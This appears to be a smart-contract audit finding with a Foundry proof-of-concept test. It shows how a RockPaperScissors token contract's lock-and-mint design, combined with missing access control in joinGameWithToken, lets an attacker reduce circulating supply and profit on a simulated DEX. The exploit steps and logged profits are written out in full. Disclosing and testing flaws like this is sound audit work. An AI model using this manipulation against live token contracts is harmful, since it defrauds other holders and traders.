The RockPaperScissors contract has a critical economic design flaw in its token system that creates both inflationary and deflationary pressures that can be manipulated. The contract permanently locks staked tokens in the contract while minting new tokens for winners, instead of transferring the staked tokens. When combined with the missing access control vulnerability in joinGameWithToken
, this creates a mechanism that can be exploited for market manipulation.
The token economy of the RockPaperScissors contract operates in two distinct modes with opposing economic effects:
This combination creates a manipulable economic system where an attacker can strategically create deflationary pressure to drive up token prices.
pragma solidity ^0.8.13;
import "forge-std/Test.sol";
import "forge-std/console.sol";
import "../src/RockPaperScissors.sol";
import "../src/WinningToken.sol";
contract SimpleDEX {
uint256 public ethReserve;
uint256 public tokenReserve;
constructor(uint256 _initialEth, uint256 _initialTokens) {
ethReserve = _initialEth;
tokenReserve = _initialTokens;
}
function getTokenPrice() public view returns (uint256) {
return (ethReserve * 1e18) / tokenReserve;
}
function simulateTokenSell(uint256 tokenAmount) public view returns (uint256) {
uint256 newTokenReserve = tokenReserve + tokenAmount;
uint256 newEthReserve = (ethReserve * tokenReserve) / newTokenReserve;
uint256 ethReceived = ethReserve - newEthReserve;
return ethReceived;
}
function updateReserves(uint256 _ethReserve, uint256 _tokenReserve) public {
ethReserve = _ethReserve;
tokenReserve = _tokenReserve;
}
}
contract TokenEconomicsExploitTest is Test {
RockPaperScissors public game;
WinningToken public token;
SimpleDEX public dex;
address public playerA;
address public playerA2;
address public playerVictim;
address public otherTrader;
uint256 constant BET_AMOUNT = 0.1 ether;
uint256 constant TIMEOUT = 10 minutes;
uint256 constant TOTAL_TURNS = 1;
function setUp() public {
playerA = makeAddr("playerA");
playerA2 = makeAddr("playerA2");
playerVictim = makeAddr("victim");
otherTrader = makeAddr("trader");
vm.deal(playerA, 10 ether);
vm.deal(playerA2, 5 ether);
vm.deal(playerVictim, 10 ether);
vm.deal(otherTrader, 10 ether);
game = new RockPaperScissors();
token = WinningToken(game.winningToken());
dex = new SimpleDEX(0, 0);
}
function testTokenEconomicsExploit() public {
console.log("====== PHASE 1: Players earn tokens from ETH games ======");
console.log("====== New tokens are mint ======");
earnTokensFromEthGame(playerA, 10);
console.log("\n====== PHASE 2: Create DEX liquidity pool ======");
uint256 initialLiquidityEth = 2 ether;
uint256 initialLiquidityTokens = 5;
dex.updateReserves(initialLiquidityEth, initialLiquidityTokens);
uint256 initialPrice = dex.getTokenPrice();
console.log("Initial token price (wei):", initialPrice);
console.log("====== PHASE 3: Players earn more tokens from ETH games ======");
console.log("====== Inflation occurs as new tokens are mint ======");
earnTokensFromEthGame(playerA2, 5);
earnTokensFromEthGame(playerVictim, 5);
earnTokensFromEthGame(otherTrader, 5);
console.log("PlayerA token balance:", token.balanceOf(playerA));
console.log("PlayerA2 token balance:", token.balanceOf(playerA2));
console.log("Victim token balance:", token.balanceOf(playerVictim));
console.log("Other trader balance:", token.balanceOf(otherTrader));
console.log("\n====== PHASE 4: Market impact of Inflation ======");
dex.updateReserves(initialLiquidityEth, initialLiquidityTokens * 2);
uint256 inflatedPrice = dex.getTokenPrice();
console.log("Token price after inflation (wei):", inflatedPrice);
uint256 decreasePercent = (initialPrice - inflatedPrice) * 100 / initialPrice;
console.log("Price decrease percentage:", decreasePercent, "%");
console.log("\n====== PHASE 5: Losses due to inflation ======");
uint256 tokensSelling = 5;
dex.updateReserves(initialLiquidityEth, initialLiquidityTokens);
uint256 sellValueBefore = dex.simulateTokenSell(tokensSelling);
dex.updateReserves(initialLiquidityEth, initialLiquidityTokens * 2);
uint256 sellValueAfter = dex.simulateTokenSell(tokensSelling);
console.log("ETH received before inflation:", sellValueBefore);
console.log("ETH received after inflation:", sellValueAfter);
if (sellValueBefore > sellValueAfter) {
console.log("Loss:", sellValueBefore - sellValueAfter);
console.log("Loss percentage:", (sellValueBefore - sellValueAfter) * 100 / sellValueBefore, "%");
}
console.log("\n====== PHASE 6: Execute deflationary economic attack ======");
console.log("Token supply before attack:", token.totalSupply());
console.log("Play 3 token games and exploit the missing access control vulnerability in joinGameWithToken");
console.log("(Deflation occurs as victim tokens get locked in contract)");
dex.updateReserves(initialLiquidityEth, initialLiquidityTokens);
for (uint i = 0; i < 3; i++) {
uint256 circulatingSupplyBefore = token.totalSupply() - token.balanceOf(address(game));
vm.startPrank(playerA);
token.approve(address(game), 1);
uint256 gameId = game.createGameWithToken(TOTAL_TURNS, TIMEOUT);
vm.stopPrank();
vm.startPrank(playerVictim);
token.approve(address(game), 1);
game.joinGameWithToken(gameId);
vm.stopPrank();
vm.startPrank(playerA2);
token.approve(address(game), 1);
game.joinGameWithToken(gameId);
vm.stopPrank();
bytes32 saltA = keccak256(abi.encodePacked("saltA", i));
bytes32 commitA = keccak256(abi.encodePacked(uint8(RockPaperScissors.Move.Rock), saltA));
vm.prank(playerA);
game.commitMove(gameId, commitA);
bytes32 saltA2 = keccak256(abi.encodePacked("saltA2", i));
bytes32 commitA2 = keccak256(abi.encodePacked(uint8(RockPaperScissors.Move.Paper), saltA2));
vm.prank(playerA2);
game.commitMove(gameId, commitA2);
vm.prank(playerA);
game.revealMove(gameId, uint8(RockPaperScissors.Move.Rock), saltA);
vm.prank(playerA2);
game.revealMove(gameId, uint8(RockPaperScissors.Move.Paper), saltA2);
uint256 circulatingSupplyAfter = token.totalSupply() - token.balanceOf(address(game));
if (circulatingSupplyAfter >= circulatingSupplyBefore) {
console.log("Game ", i, " - Circulating supply change: +", circulatingSupplyAfter - circulatingSupplyBefore);
} else {
console.log("Game ", i, " - Circulating supply change: -", circulatingSupplyBefore - circulatingSupplyAfter);
}
console.log("Contract token balance: ", token.balanceOf(address(game)));
console.log("Total token supply: ", token.totalSupply());
}
console.log("Total supply after attack:", token.totalSupply());
console.log("Tokens locked in contract:", token.balanceOf(address(game)));
console.log("Circulating supply after attack:", token.totalSupply() - token.balanceOf(address(game)));
console.log("\n====== PHASE 7: Market impact of deflation ======");
dex.updateReserves(initialLiquidityEth, initialLiquidityTokens - 3);
uint256 deflatedPrice = dex.getTokenPrice();
console.log("Token price after deflation (wei):", deflatedPrice);
uint256 increasePercent = (deflatedPrice - initialPrice) * 100 / initialPrice;
console.log("Price increase percentage:", increasePercent, "%");
console.log("\n====== PHASE 8: Attacker profits from artificially created scarcity ======");
dex.updateReserves(initialLiquidityEth, initialLiquidityTokens);
uint256 ethBeforeAttack = dex.simulateTokenSell(tokensSelling);
dex.updateReserves(initialLiquidityEth, initialLiquidityTokens - 3);
uint256 ethAfterAttack = dex.simulateTokenSell(tokensSelling);
console.log("ETH received before attack:", ethBeforeAttack);
console.log("ETH received after attack:", ethAfterAttack);
console.log("Profit increase:", ethAfterAttack - ethBeforeAttack);
console.log("Profit increase percentage:", (ethAfterAttack - ethBeforeAttack) * 100 / ethBeforeAttack, "%");
}
function earnTokensFromEthGame(address player, uint256 tokens) internal {
vm.prank(address(game));
token.mint(player, tokens);
}
}